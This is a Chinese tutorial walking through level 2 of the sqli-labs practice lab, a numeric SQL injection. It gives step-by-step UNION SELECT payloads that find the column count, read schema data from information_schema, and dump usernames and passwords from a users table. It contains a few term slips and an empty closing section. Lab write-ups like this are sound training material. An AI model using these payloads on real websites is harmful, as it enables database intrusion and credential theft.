sqli-labs靶场第二关——数字型

一:查找注入类型:

输入

sql 复制代码
?id=1'--+

与第一关的差别:报错;

说明不是字符型

渐进测试:?id=1--+,结果正常,说明是数字型

二:判断列数和回显位

sql 复制代码
?id=1 order by 3--+

正常, 说明有三列,然后找回显点

sql 复制代码
?id=-1 union select 1,2,3--+

三:找数据库名

sql 复制代码
?id=-1 union select 1,database(),3--+

得到数据库名:security

四:找所有的表和列

表:

sql 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

复习拆解句子:(直接查询)

group_select:聚合函数,将多行数据合并成一个字符串,帮助我们高效提取信息

table_name:表名

information_schema.table:数据库中所有表的信息

table_schema:数据库名

列:

sql 复制代码
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

复习拆解:(嵌套查询)

1.内层又加上select的原因: 要嵌套查询,顺序如下:

表 → 子查询(group_concat)→ 作为值插入外层SELECT的列

column_name:列名

infromation_schema.columns:包含所有表的列的信息

table_schema:数据库名

table_name:表名

五:查数据!

sql 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

六:复盘总结

如何在一开始确定基于错误注入(Error-based)的注入类型(数字/字符/括号):

相关推荐
计算机安禾4 小时前
【数据库系统原理】第19篇:计算机存储层次结构与数据库文件的物理组织
数据库·oracle
JAVA面经实录9174 小时前
操作系统面试题
java·服务器·数据库·计算机网络·面试
摇滚侠4 小时前
mariadb-libs 被 mysql-community-libs-5.7.28-1.el7.x86_64 取代
数据库·mysql·mariadb
DIY源码阁5 小时前
JavaSwing饮品管理系统 - MySQL版
java·数据库·mysql·eclipse
专注搞钱5 小时前
GPT-4o写设备Recipe:从3小时到10分钟
数据库·人工智能·gpt·半导体
楠目6 小时前
Nginx 解析漏洞利用总结
nginx·网络安全
东风破1376 小时前
达梦数据库实战:备份恢复与数据迁移全攻略(实例初始化、服务注册、路径迁移)
数据库·chrome
SelectDB技术团队6 小时前
2026 SelectDB AI 产品发布会:Agent Native 数据基础设施能力全景发布
数据库·人工智能·agent·apache doris·selectdb
爱吃羊的老虎6 小时前
【数据库】模块一:数据库基础与关系代数
数据库
dishugj7 小时前
iSCSI + Multipath + ASM:Oracle RAC 共享存储技术链详解
数据库·oracle